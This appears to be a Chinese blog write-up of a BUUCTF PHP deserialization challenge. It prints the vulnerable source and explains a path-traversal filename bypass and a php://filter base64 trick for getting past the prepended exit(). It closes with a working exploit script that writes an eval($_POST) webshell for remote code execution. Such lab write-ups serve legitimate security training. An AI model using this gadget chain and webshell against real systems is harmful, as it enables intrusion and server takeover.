buuctf [2020 新春红包题]1

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计,说说重要的代码部分吧
先看到A类
在这里插入图片描述
可以发现A类的属性store调用了set方法,可是set方法并不在A类里,我们去B类看看
在这里插入图片描述
在B类里瞧见了set方法,这说明A类属性store已经为B类的一个实例化对象了
看看set方法干了啥
在这里插入图片描述
看看这两个方法是啥东东
在这里插入图片描述
重点在第二个方法,会将文件名随机,并且还过滤了.php后缀
这说明可能是类似于文件上传的漏洞
接着往下看在这里插入图片描述
有个data变量,有类似于一句话木马的东西进行拼接,但是后面会有个exit(),exit()会退出当前的脚本,并且他用file_put_contents() 将$data写入
在这里插入图片描述
最后我们发现有个反序列化函数,因此题目肯定是要我们反序列化一个东西将马写入,去getshell
代码审计工作完成,接下来就是如何去getshell

绕过文件名随机文件后缀检验

在这里插入图片描述
我们可以使用

$this->key = /../penson.php/.

为什么能这样呢?
因为在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./penson.php,而传入之前,是 /../penson.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

绕过exit()

接下来就是写马的那一段代码
在这里插入图片描述
由于写马后会拼接exit()函数,这就导致正常写马是不会成功的
参考文献

下图来自参考文献
在这里插入图片描述
在这里插入图片描述
所以可以利用这个特性,来绕过exit()

在这里插入图片描述
在这里插入图片描述
看到上面这两个所以我们构造类A的属性catche为数组
在这里插入图片描述
由于catche是一个数组,所以需要让complete为true,转化为数组json编码
在这里插入图片描述
由于要用到php伪协议中的base64解码绕过exit()。所以我们需要将我们的webshellbase64编码再传入
在这里插入图片描述
然后让变量为序列化函数
由此构造exp

<?php
class A{
	protected $store;
    protected $key;
    protected $expire;
	
	public $cache =[];
	public $complete = true; 
	
	public function __construct () {
		$this->store = new B();
        $this->key = '/../penson.php/.';
		
        $this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];

    }
	
}
class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
    ];
}
$a = new A();
echo urlencode(serialize($a));

?>

将生成的payload传入data,进到我们上传的木马文件位置

在这里插入图片描述
可以发现成功getshell
蚁剑连接或者直接RCE即可得到flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值